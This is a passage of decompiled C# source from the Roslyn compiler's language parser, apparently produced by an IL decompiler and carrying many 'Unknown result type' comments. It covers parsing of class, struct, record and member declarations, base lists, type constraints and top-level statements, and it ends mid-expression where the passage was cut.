//IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + SyntaxList modifiers2 = SyntaxList.op_Implicit(val3.ToList()); + SyntaxList members2 = SyntaxListBuilder.op_Implicit(members); + SyntaxList constraintClauses = SyntaxListBuilder.op_Implicit(constraints); + switch (syntaxToken2.Kind) + { + case SyntaxKind.ClassKeyword: + return syntaxFactory.ClassDeclaration(attributeLists, modifiers2, syntaxToken2, name, typeParameterList, parameterList, baseList2, constraintClauses, openBraceToken, members2, closeBraceToken, semicolonToken); + case SyntaxKind.StructKeyword: + return syntaxFactory.StructDeclaration(attributeLists, modifiers2, syntaxToken2, name, typeParameterList, parameterList, baseList2, constraintClauses, openBraceToken, members2, closeBraceToken, semicolonToken); + case SyntaxKind.InterfaceKeyword: + return syntaxFactory.InterfaceDeclaration(attributeLists, modifiers2, syntaxToken2, name, typeParameterList, parameterList, baseList2, constraintClauses, openBraceToken, members2, closeBraceToken, semicolonToken); + case SyntaxKind.RecordKeyword: + { + SyntaxKind kind2 = ((syntaxToken3 != null && syntaxToken3.Kind == SyntaxKind.StructKeyword) ? SyntaxKind.RecordStructDeclaration : SyntaxKind.RecordDeclaration); + return syntaxFactory.RecordDeclaration(kind2, attributeLists, SyntaxList.op_Implicit(val3.ToList()), syntaxToken2, syntaxToken3, name, typeParameterList, parameterList, baseList2, SyntaxListBuilder.op_Implicit(constraints), openBraceToken, SyntaxListBuilder.op_Implicit(members), closeBraceToken, semicolonToken); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)syntaxToken2.Kind); + } + } + bool tryScanRecordStart([NotNullWhen(true)] out SyntaxToken? reference, out SyntaxToken? reference2) + { + SyntaxKind kind2; + bool flag3; + if (base.CurrentToken.ContextualKind == SyntaxKind.RecordKeyword) + { + reference = SyntaxParser.ConvertToKeyword(EatToken()); + kind2 = base.CurrentToken.Kind; + flag3 = kind2 - 8374 <= SyntaxKind.List; + reference2 = (flag3 ? EatToken() : null); + return true; + } + kind2 = base.CurrentToken.Kind; + flag3 = kind2 - 8374 <= SyntaxKind.List; + if (flag3 && PeekToken(1).ContextualKind == SyntaxKind.RecordKeyword && PeekToken(2).Kind == SyntaxKind.IdentifierToken) + { + SyntaxToken syntaxToken2 = EatToken(); + reference = AddLeadingSkippedSyntax(AddError(SyntaxParser.ConvertToKeyword(EatToken()), ErrorCode.ERR_MisplacedRecord), (GreenNode)(object)syntaxToken2); + reference2 = SyntaxFactory.MissingToken(syntaxToken2.Kind); + return true; + } + reference = null; + reference2 = null; + return false; + } + } + + private void SkipBadMemberListTokens(ref SyntaxToken openBrace, SyntaxListBuilder members) + { + if (members.Count > 0) + { + GreenNode previousNode = members[members.Count - 1]; + SkipBadMemberListTokens(ref previousNode); + members[members.Count - 1] = previousNode; + } + else + { + GreenNode previousNode2 = (GreenNode)(object)openBrace; + SkipBadMemberListTokens(ref previousNode2); + openBrace = (SyntaxToken)(object)previousNode2; + } + } + + private void SkipBadMemberListTokens(ref GreenNode previousNode) + { + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + int num = 0; + SyntaxListBuilder val = _pool.Allocate(); + bool flag = false; + SyntaxToken syntaxToken = EatToken(); + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_InvalidMemberDecl, syntaxToken.Text); + val.Add((GreenNode)(object)syntaxToken); + while (!flag) + { + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2 = CanStartMember(kind); + if (flag2) + { + bool flag3 = kind == SyntaxKind.DelegateKeyword; + if (flag3) + { + SyntaxKind kind2 = PeekToken(1).Kind; + bool flag4 = ((kind2 == SyntaxKind.OpenParenToken || kind2 == SyntaxKind.OpenBraceToken) ? true : false); + flag3 = flag4; + } + flag2 = !flag3; + } + if (flag2) + { + flag = true; + continue; + } + switch (kind) + { + case SyntaxKind.OpenBraceToken: + num++; + break; + case SyntaxKind.CloseBraceToken: + if (num-- == 0) + { + flag = true; + continue; + } + break; + case SyntaxKind.EndOfFileToken: + flag = true; + continue; + } + val.Add((GreenNode)(object)EatToken()); + } + previousNode = (GreenNode)(object)AddTrailingSkippedSyntax((CSharpSyntaxNode)(object)previousNode, _pool.ToTokenListAndFree(val).Node); + } + + private bool IsPossibleMemberStartOrStop() + { + if (!IsPossibleMemberStart()) + { + return base.CurrentToken.Kind == SyntaxKind.CloseBraceToken; + } + return true; + } + + private bool IsPossibleAggregateClauseStartOrStop() + { + SyntaxKind kind = base.CurrentToken.Kind; + if ((kind != SyntaxKind.OpenBraceToken && kind != SyntaxKind.ColonToken) || 1 == 0) + { + return IsCurrentTokenWhereOfConstraintClause(); + } + return true; + } + + private BaseListSyntax ParseBaseList() + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken colon = TryEatToken(SyntaxKind.ColonToken); + if (colon == null) + { + return null; + } + SeparatedSyntaxListBuilder list = _pool.AllocateSeparated(); + TypeSyntax type = ParseType(); + ArgumentListSyntax argumentListSyntax = ((base.CurrentToken.Kind == SyntaxKind.OpenParenToken) ? ParseParenthesizedArgumentList() : null); + list.Add((argumentListSyntax != null) ? ((BaseTypeSyntax)_syntaxFactory.PrimaryConstructorBaseType(type, argumentListSyntax)) : ((BaseTypeSyntax)_syntaxFactory.SimpleBaseType(type))); + while (base.CurrentToken.Kind != SyntaxKind.OpenBraceToken && ((_termState & TerminatorState.IsEndOfRecordOrClassOrStructOrInterfaceSignature) == 0 || base.CurrentToken.Kind != SyntaxKind.SemicolonToken) && !IsCurrentTokenWhereOfConstraintClause()) + { + if (base.CurrentToken.Kind == SyntaxKind.CommaToken || IsPossibleType()) + { + list.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + list.Add((BaseTypeSyntax)_syntaxFactory.SimpleBaseType(ParseType())); + } + else if (skipBadBaseListTokens(ref colon, list, SyntaxKind.CommaToken) == PostSkipAction.Abort) + { + break; + } + } + return _syntaxFactory.BaseList(colon, _pool.ToListAndFree(ref list)); + PostSkipAction skipBadBaseListTokens(ref SyntaxToken startToken, SeparatedSyntaxListBuilder list2, SyntaxKind expected) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return SkipBadSeparatedListTokensWithExpectedKind(ref startToken, list2, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleAttribute(), (LanguageParser p, SyntaxKind _) => p.CurrentToken.Kind == SyntaxKind.OpenBraceToken || p.IsCurrentTokenWhereOfConstraintClause(), expected); + } + } + + private bool IsCurrentTokenWhereOfConstraintClause() + { + if (base.CurrentToken.ContextualKind == SyntaxKind.WhereKeyword && PeekToken(1).Kind == SyntaxKind.IdentifierToken) + { + return PeekToken(2).Kind == SyntaxKind.ColonToken; + } + return false; + } + + private void ParseTypeParameterConstraintClauses(SyntaxListBuilder list) + { + while (base.CurrentToken.ContextualKind == SyntaxKind.WhereKeyword) + { + list.Add((GreenNode)(object)ParseTypeParameterConstraintClause()); + } + } + + private TypeParameterConstraintClauseSyntax ParseTypeParameterConstraintClause() + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_018c: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_016a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken whereKeyword = EatContextualToken(SyntaxKind.WhereKeyword); + IdentifierNameSyntax name = ((!IsTrueIdentifier()) ? AddError(CreateMissingIdentifierName(), ErrorCode.ERR_IdentifierExpected) : ParseIdentifierName()); + SyntaxToken colonToken = EatToken(SyntaxKind.ColonToken); + SeparatedSyntaxListBuilder list = _pool.AllocateSeparated(); + if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken || IsCurrentTokenWhereOfConstraintClause()) + { + list.Add((TypeParameterConstraintSyntax)_syntaxFactory.TypeConstraint(AddError(CreateMissingIdentifierName(), ErrorCode.ERR_TypeExpected))); + } + else + { + list.Add(ParseTypeParameterConstraint()); + while (base.CurrentToken.Kind != SyntaxKind.OpenBraceToken && ((_termState & TerminatorState.IsEndOfRecordOrClassOrStructOrInterfaceSignature) == 0 || base.CurrentToken.Kind != SyntaxKind.SemicolonToken) && base.CurrentToken.Kind != SyntaxKind.EqualsGreaterThanToken && base.CurrentToken.ContextualKind != SyntaxKind.WhereKeyword) + { + if (base.CurrentToken.Kind == SyntaxKind.CommaToken || IsPossibleTypeParameterConstraint()) + { + list.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + if (IsCurrentTokenWhereOfConstraintClause()) + { + list.Add((TypeParameterConstraintSyntax)_syntaxFactory.TypeConstraint(AddError(CreateMissingIdentifierName(), ErrorCode.ERR_TypeExpected))); + break; + } + list.Add(ParseTypeParameterConstraint()); + } + else if (skipBadTypeParameterConstraintTokens(list, SyntaxKind.CommaToken) == PostSkipAction.Abort) + { + break; + } + } + } + return _syntaxFactory.TypeParameterConstraintClause(whereKeyword, name, colonToken, _pool.ToListAndFree(ref list)); + PostSkipAction skipBadTypeParameterConstraintTokens(SeparatedSyntaxListBuilder list2, SyntaxKind expected) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode startToken = null; + return SkipBadSeparatedListTokensWithExpectedKind(ref startToken, list2, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleTypeParameterConstraint(), (LanguageParser p, SyntaxKind _) => p.CurrentToken.Kind == SyntaxKind.OpenBraceToken || p.IsCurrentTokenWhereOfConstraintClause(), expected); + } + } + + private bool IsPossibleTypeParameterConstraint() + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.DefaultKeyword: + case SyntaxKind.NewKeyword: + case SyntaxKind.ClassKeyword: + case SyntaxKind.StructKeyword: + return true; + case SyntaxKind.IdentifierToken: + return IsTrueIdentifier(); + default: + return IsPredefinedType(base.CurrentToken.Kind); + } + } + + private TypeParameterConstraintSyntax ParseTypeParameterConstraint() + { + return base.CurrentToken.Kind switch + { + SyntaxKind.NewKeyword => _syntaxFactory.ConstructorConstraint(EatToken(), EatToken(SyntaxKind.OpenParenToken), EatToken(SyntaxKind.CloseParenToken)), + SyntaxKind.StructKeyword => _syntaxFactory.ClassOrStructConstraint(SyntaxKind.StructConstraint, EatToken(), (base.CurrentToken.Kind == SyntaxKind.QuestionToken) ? AddError(EatToken(), ErrorCode.ERR_UnexpectedToken, SyntaxFacts.GetText(SyntaxKind.QuestionToken)) : null), + SyntaxKind.ClassKeyword => _syntaxFactory.ClassOrStructConstraint(SyntaxKind.ClassConstraint, EatToken(), TryEatToken(SyntaxKind.QuestionToken)), + SyntaxKind.DefaultKeyword => _syntaxFactory.DefaultConstraint(EatToken()), + SyntaxKind.EnumKeyword => _syntaxFactory.TypeConstraint(AddTrailingSkippedSyntax(AddError(CreateMissingIdentifierName(), ErrorCode.ERR_NoEnumConstraint), (GreenNode)(object)EatToken())), + SyntaxKind.DelegateKeyword => (PeekToken(1).Kind == SyntaxKind.AsteriskToken) ? _syntaxFactory.TypeConstraint(ParseType()) : _syntaxFactory.TypeConstraint(AddTrailingSkippedSyntax(AddError(CreateMissingIdentifierName(), ErrorCode.ERR_NoDelegateConstraint), (GreenNode)(object)EatToken())), + _ => _syntaxFactory.TypeConstraint(ParseType()), + }; + } + + private bool IsPossibleMemberStart() + { + return CanStartMember(base.CurrentToken.Kind); + } + + private static bool CanStartMember(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.TildeToken: + case SyntaxKind.OpenParenToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.BoolKeyword: + case SyntaxKind.ByteKeyword: + case SyntaxKind.SByteKeyword: + case SyntaxKind.ShortKeyword: + case SyntaxKind.UShortKeyword: + case SyntaxKind.IntKeyword: + case SyntaxKind.UIntKeyword: + case SyntaxKind.LongKeyword: + case SyntaxKind.ULongKeyword: + case SyntaxKind.DoubleKeyword: + case SyntaxKind.FloatKeyword: + case SyntaxKind.DecimalKeyword: + case SyntaxKind.StringKeyword: + case SyntaxKind.CharKeyword: + case SyntaxKind.VoidKeyword: + case SyntaxKind.ObjectKeyword: + case SyntaxKind.PublicKeyword: + case SyntaxKind.PrivateKeyword: + case SyntaxKind.InternalKeyword: + case SyntaxKind.ProtectedKeyword: + case SyntaxKind.StaticKeyword: + case SyntaxKind.ReadOnlyKeyword: + case SyntaxKind.SealedKeyword: + case SyntaxKind.ConstKeyword: + case SyntaxKind.FixedKeyword: + case SyntaxKind.VolatileKeyword: + case SyntaxKind.NewKeyword: + case SyntaxKind.OverrideKeyword: + case SyntaxKind.AbstractKeyword: + case SyntaxKind.VirtualKeyword: + case SyntaxKind.EventKeyword: + case SyntaxKind.ExternKeyword: + case SyntaxKind.RefKeyword: + case SyntaxKind.ClassKeyword: + case SyntaxKind.StructKeyword: + case SyntaxKind.InterfaceKeyword: + case SyntaxKind.EnumKeyword: + case SyntaxKind.DelegateKeyword: + case SyntaxKind.UnsafeKeyword: + case SyntaxKind.ExplicitKeyword: + case SyntaxKind.ImplicitKeyword: + case SyntaxKind.IdentifierToken: + return true; + default: + return false; + } + } + + private bool IsTypeDeclarationStart() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind - 8374 > (SyntaxKind)3) + { + if (kind != SyntaxKind.DelegateKeyword) + { + if (kind == SyntaxKind.IdentifierToken) + { + if (base.CurrentToken.ContextualKind == SyntaxKind.RecordKeyword) + { + return IsFeatureEnabled(MessageID.IDS_FeatureRecords); + } + return false; + } + } + else if (!IsFunctionPointerStart()) + { + goto IL_0030; + } + return false; + } + goto IL_0030; + IL_0030: + return true; + } + + private bool CanReuseMemberDeclaration(SyntaxKind kind, bool isGlobal) + { + switch (kind) + { + case SyntaxKind.NamespaceDeclaration: + case SyntaxKind.FileScopedNamespaceDeclaration: + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.EnumDeclaration: + case SyntaxKind.DelegateDeclaration: + case SyntaxKind.EventFieldDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.DestructorDeclaration: + case SyntaxKind.PropertyDeclaration: + case SyntaxKind.EventDeclaration: + case SyntaxKind.IndexerDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + return true; + case SyntaxKind.FieldDeclaration: + case SyntaxKind.MethodDeclaration: + if (!isGlobal || base.IsScript) + { + return true; + } + return base.CurrentNode.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax; + case SyntaxKind.GlobalStatement: + return isGlobal; + default: + return false; + } + } + + public MemberDeclarationSyntax ParseMemberDeclaration() + { + return ParseWithStackGuard((LanguageParser @this) => @this.ParseMemberDeclaration(SyntaxKind.StructDeclaration), createEmptyNodeFunc); + static MemberDeclarationSyntax createEmptyNodeFunc(LanguageParser @this) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + return @this._syntaxFactory.IncompleteMember(default(SyntaxList), default(SyntaxList), @this.CreateMissingIdentifierName()); + } + } + + internal MemberDeclarationSyntax ParseMemberDeclarationOrStatement(SyntaxKind parentKind) + { + _recursionDepth++; + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + MemberDeclarationSyntax result = ParseMemberDeclarationOrStatementCore(parentKind); + _recursionDepth--; + return result; + } + + private MemberDeclarationSyntax ParseMemberDeclarationOrStatementCore(SyntaxKind parentKind) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0283: Unknown result type (might be due to invalid IL or missing references) + //IL_0260: Unknown result type (might be due to invalid IL or missing references) + //IL_024a: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_02b7: Unknown result type (might be due to invalid IL or missing references) + //IL_02a6: Unknown result type (might be due to invalid IL or missing references) + //IL_021a: Unknown result type (might be due to invalid IL or missing references) + //IL_01fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + //IL_0171: Unknown result type (might be due to invalid IL or missing references) + //IL_02e1: Unknown result type (might be due to invalid IL or missing references) + //IL_02fd: Unknown result type (might be due to invalid IL or missing references) + //IL_03f9: Unknown result type (might be due to invalid IL or missing references) + //IL_0427: Unknown result type (might be due to invalid IL or missing references) + //IL_0523: Unknown result type (might be due to invalid IL or missing references) + //IL_03b2: Unknown result type (might be due to invalid IL or missing references) + //IL_0558: Unknown result type (might be due to invalid IL or missing references) + //IL_04aa: Unknown result type (might be due to invalid IL or missing references) + //IL_048a: Unknown result type (might be due to invalid IL or missing references) + //IL_05a9: Unknown result type (might be due to invalid IL or missing references) + //IL_057f: Unknown result type (might be due to invalid IL or missing references) + //IL_0596: Unknown result type (might be due to invalid IL or missing references) + //IL_050c: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = base.cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (IsIncrementalAndFactoryContextMatches && CanReuseMemberDeclaration(base.CurrentNodeKind, isGlobal: true)) + { + return (MemberDeclarationSyntax)(object)EatNode(); + } + TerminatorState termState = _termState; + SyntaxList val = ParseStatementAttributeDeclarations(); + bool flag = val.Count > 0; + ResetPoint startPoint = GetResetPoint(); + SyntaxListBuilder modifiers = _pool.Allocate(); + try + { + if (!flag || !base.IsScript) + { + bool isInAsync = IsInAsync; + if (!base.IsScript) + { + IsInAsync = true; + } + try + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.UnsafeKeyword: + if (PeekToken(1).Kind == SyntaxKind.OpenBraceToken) + { + return _syntaxFactory.GlobalStatement(ParseUnsafeStatement(val)); + } + break; + case SyntaxKind.FixedKeyword: + if (PeekToken(1).Kind == SyntaxKind.OpenParenToken) + { + return _syntaxFactory.GlobalStatement(ParseFixedStatement(val)); + } + break; + case SyntaxKind.DelegateKeyword: + { + SyntaxKind kind = PeekToken(1).Kind; + if (kind != SyntaxKind.OpenParenToken && kind != SyntaxKind.OpenBraceToken) + { + break; + } + return _syntaxFactory.GlobalStatement(ParseExpressionStatement(val)); + } + case SyntaxKind.NewKeyword: + if (IsPossibleNewExpression()) + { + return _syntaxFactory.GlobalStatement(ParseExpressionStatement(val)); + } + break; + } + } + finally + { + IsInAsync = isInAsync; + } + } + ParseModifiers(modifiers, forAccessors: false, forTopLevelStatements: true, out var isPossibleTypeDeclaration); + bool flag2 = modifiers.Count > 0; + MemberDeclarationSyntax result; + if (base.CurrentToken.Kind == SyntaxKind.IdentifierToken && PeekToken(1).Kind == SyntaxKind.OpenParenToken && (flag || flag2)) + { + PredefinedTypeSyntax type = _syntaxFactory.PredefinedType(AddError(SyntaxFactory.MissingToken(SyntaxKind.VoidKeyword), ErrorCode.ERR_MemberNeedsType)); + if (base.IsScript) + { + SyntaxToken identifier = EatToken(); + return ParseMethodDeclaration(val, modifiers, type, null, identifier, null); + } + if (tryParseLocalDeclarationStatementFromStartPoint(val, ref startPoint, out result)) + { + return result; + } + } + if (base.CurrentToken.Kind == SyntaxKind.ConstKeyword) + { + if (!base.IsScript && tryParseLocalDeclarationStatementFromStartPoint(val, ref startPoint, out result)) + { + return result; + } + return ParseConstantFieldDeclaration(val, modifiers, parentKind); + } + if (base.CurrentToken.Kind == SyntaxKind.EventKeyword) + { + return ParseEventDeclaration(val, modifiers, parentKind); + } + if (base.CurrentToken.Kind == SyntaxKind.FixedKeyword) + { + return ParseFixedSizeBufferDeclaration(val, modifiers, parentKind); + } + result = TryParseConversionOperatorDeclaration(val, modifiers); + if (result != null) + { + return result; + } + if (base.CurrentToken.Kind == SyntaxKind.NamespaceKeyword) + { + return ParseNamespaceDeclaration(val, modifiers); + } + if (isPossibleTypeDeclaration && IsTypeDeclarationStart()) + { + return ParseTypeDeclaration(val, modifiers); + } + TypeSyntax type2 = ParseReturnType(); + ResetPoint state = GetResetPoint(); + try + { + if ((!flag || !base.IsScript) && !flag2 && (type2.Kind == SyntaxKind.RefType || !IsOperatorStart(out var _, advanceParser: false))) + { + Reset(ref startPoint); + SyntaxKind kind2 = base.CurrentToken.Kind; + if (kind2 != SyntaxKind.CloseBraceToken && kind2 != SyntaxKind.EndOfFileToken && IsPossibleStatement(acceptAccessibilityMods: true)) + { + TerminatorState termState2 = _termState; + _termState |= TerminatorState.IsPossibleStatementStartOrStop; + bool isInAsync2 = IsInAsync; + if (!base.IsScript) + { + IsInAsync = true; + } + StatementSyntax statement = ParseStatementCore(val, isGlobal: true); + IsInAsync = isInAsync2; + _termState = termState2; + if (isAcceptableNonDeclarationStatement(statement, base.IsScript)) + { + return _syntaxFactory.GlobalStatement(statement); + } + } + Reset(ref state); + } + if (IsMisplacedModifier(modifiers, val, type2, out result)) + { + return result; + } + ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt2; + SyntaxToken identifierOrThisOpt; + TypeParameterListSyntax typeParameterListOpt; + do + { + bool isRef = type2.IsRef; + if (!isRef && IsOperatorStart(out explicitInterfaceOpt2)) + { + return ParseOperatorDeclaration(val, modifiers, type2, explicitInterfaceOpt2); + } + if ((!isRef || !base.IsScript) && IsFieldDeclaration(isEvent: false, isGlobalScriptLevel: true)) + { + TerminatorState termState3 = _termState; + if ((!flag && !flag2) || !base.IsScript) + { + _termState |= TerminatorState.IsPossibleStatementStartOrStop; + if (!base.IsScript) + { + Reset(ref startPoint); + if (tryParseLocalDeclarationStatement(val, out result)) + { + return result; + } + Reset(ref state); + } + } + if (!isRef) + { + return ParseNormalFieldDeclaration(val, modifiers, type2, parentKind); + } + _termState = termState3; + } + ParseMemberName(out explicitInterfaceOpt2, out identifierOrThisOpt, out typeParameterListOpt, isEvent: false); + if (!flag2 && !flag && !base.IsScript && explicitInterfaceOpt2 == null && identifierOrThisOpt == null && typeParameterListOpt == null && !((GreenNode)type2).IsMissing && type2.Kind != SyntaxKind.RefType && !isFollowedByPossibleUsingDirective() && tryParseLocalDeclarationStatementFromStartPoint(val, ref startPoint, out result)) + { + return result; + } + if (IsNoneOrIncompleteMember(parentKind, val, modifiers, type2, explicitInterfaceOpt2, identifierOrThisOpt, typeParameterListOpt, out result)) + { + return result; + } + } + while (ReconsideredTypeAsAsyncModifier(ref modifiers, ref type2, ref state, ref explicitInterfaceOpt2, ref identifierOrThisOpt, ref typeParameterListOpt)); + if (TryParseIndexerOrPropertyDeclaration(val, modifiers, type2, explicitInterfaceOpt2, identifierOrThisOpt, typeParameterListOpt, out result)) + { + return result; + } + if (!base.IsScript) + { + if (explicitInterfaceOpt2 == null && tryParseLocalDeclarationStatementFromStartPoint(val, ref startPoint, out result)) + { + return result; + } + if (!flag2 && tryParseStatement(val, ref startPoint, out result)) + { + return result; + } + } + return ParseMethodDeclaration(val, modifiers, type2, explicitInterfaceOpt2, identifierOrThisOpt, typeParameterListOpt); + } + finally + { + Release(ref state); + } + } + finally + { + _pool.Free(modifiers); + _termState = termState; + Release(ref startPoint); + } + static bool isAcceptableNonDeclarationStatement(StatementSyntax statementSyntax, bool isScript) + { + SyntaxKind? syntaxKind = statementSyntax?.Kind; + if (syntaxKind.HasValue) + { + SyntaxKind valueOrDefault = syntaxKind.GetValueOrDefault(); + if (valueOrDefault == SyntaxKind.LocalDeclarationStatement) + { + if (!isScript) + { + if (statementSyntax is LocalDeclarationStatementSyntax localDeclarationStatementSyntax) + { + return localDeclarationStatementSyntax.UsingKeyword != null; + } + return false; + } + return false; + } + if (valueOrDefault != SyntaxKind.ExpressionStatement) + { + if (valueOrDefault == SyntaxKind.LocalFunctionStatement) + { + goto IL_0081; + } + } + else if (!isScript && statementSyntax is ExpressionStatementSyntax expressionStatementSyntax) + { + ExpressionSyntax expression = expressionStatementSyntax.Expression; + if (expression != null && expression.Kind == SyntaxKind.IdentifierName) + { + SyntaxToken semicolonToken = expressionStatementSyntax.SemicolonToken; + if (semicolonToken != null && ((GreenNode)semicolonToken).IsMissing) + { + goto IL_0081; + } + } + } + return true; + } + goto IL_0081; + IL_0081: + return false; + } + bool isFollowedByPossibleUsingDirective() + { + if (base.CurrentToken.Kind == SyntaxKind.UsingKeyword) + { + return !IsPossibleTopLevelUsingLocalDeclarationStatement(); + } + if (base.CurrentToken.ContextualKind == SyntaxKind.GlobalKeyword && PeekToken(1).Kind == SyntaxKind.UsingKeyword) + { + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + return !IsPossibleTopLevelUsingLocalDeclarationStatement(); + } + } + return false; + } + bool tryParseLocalDeclarationStatement(SyntaxList attributes, out MemberDeclarationSyntax reference) where DeclarationSyntax : StatementSyntax + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + bool isInAsync3 = IsInAsync; + IsInAsync = true; + int lastTokenPosition = -1; + IsMakingProgress(ref lastTokenPosition); + StatementSyntax statementSyntax = ParseLocalDeclarationStatement(attributes); + IsInAsync = isInAsync3; + if (statementSyntax is DeclarationSyntax statement2 && IsMakingProgress(ref lastTokenPosition, assertIfFalse: false)) + { + reference = _syntaxFactory.GlobalStatement(statement2); + return true; + } + reference = null; + return false; + } + bool tryParseLocalDeclarationStatementFromStartPoint(SyntaxList attributes, ref ResetPoint state2, out MemberDeclarationSyntax result2) where DeclarationSyntax : StatementSyntax + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + using DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false); + Reset(ref state2); + if (tryParseLocalDeclarationStatement(attributes, out result2)) + { + return true; + } + disposableResetPoint.Reset(); + return false; + } + bool tryParseStatement(SyntaxList attributes, ref ResetPoint afterAttributesPoint, out MemberDeclarationSyntax reference) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + using DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false); + Reset(ref afterAttributesPoint); + if (IsPossibleStatement(acceptAccessibilityMods: false)) + { + TerminatorState termState4 = _termState; + _termState |= TerminatorState.IsPossibleStatementStartOrStop; + bool isInAsync3 = IsInAsync; + IsInAsync = true; + StatementSyntax statementSyntax = ParseStatementCore(attributes, isGlobal: true); + IsInAsync = isInAsync3; + _termState = termState4; + if (statementSyntax != null) + { + reference = _syntaxFactory.GlobalStatement(statementSyntax); + return true; + } + } + disposableResetPoint.Reset(); + reference = null; + return false; + } + } + + private bool IsMisplacedModifier(SyntaxListBuilder modifiers, SyntaxList attributes, TypeSyntax type, out MemberDeclarationSyntax result) + { + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + bool flag = GetModifierExcludingScoped(base.CurrentToken) != DeclarationModifiers.None; + if (flag) + { + bool flag2; + switch (base.CurrentToken.ContextualKind) + { + case SyntaxKind.PartialKeyword: + case SyntaxKind.AsyncKeyword: + case SyntaxKind.RequiredKeyword: + case SyntaxKind.FileKeyword: + flag2 = true; + break; + default: + flag2 = false; + break; + } + flag = !flag2; + } + if (flag && IsComplete(type)) + { + SyntaxToken currentToken = base.CurrentToken; + type = AddError(type, ((GreenNode)type).FullWidth + ((GreenNode)currentToken).GetLeadingTriviaWidth(), ((GreenNode)currentToken).Width, ErrorCode.ERR_BadModifierLocation, currentToken.Text); + result = _syntaxFactory.IncompleteMember(attributes, SyntaxList.op_Implicit(modifiers.ToList()), type); + return true; + } + result = null; + return false; + } + + private bool IsNoneOrIncompleteMember(SyntaxKind parentKind, SyntaxList attributes, SyntaxListBuilder modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceOpt, SyntaxToken identifierOrThisOpt, TypeParameterListSyntax typeParameterListOpt, out MemberDeclarationSyntax result) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (explicitInterfaceOpt == null && identifierOrThisOpt == null && typeParameterListOpt == null) + { + if (attributes.Count == 0 && modifiers.Count == 0 && ((GreenNode)type).IsMissing && type.Kind != SyntaxKind.RefType) + { + result = null; + return true; + } + IncompleteMemberSyntax incompleteMemberSyntax = _syntaxFactory.IncompleteMember(attributes, SyntaxList.op_Implicit(modifiers.ToList()), ((GreenNode)type).IsMissing ? null : type); + if (ContainsErrorDiagnostic((GreenNode)(object)incompleteMemberSyntax)) + { + result = incompleteMemberSyntax; + } + else + { + bool flag = ((parentKind == SyntaxKind.NamespaceDeclaration || parentKind == SyntaxKind.FileScopedNamespaceDeclaration) 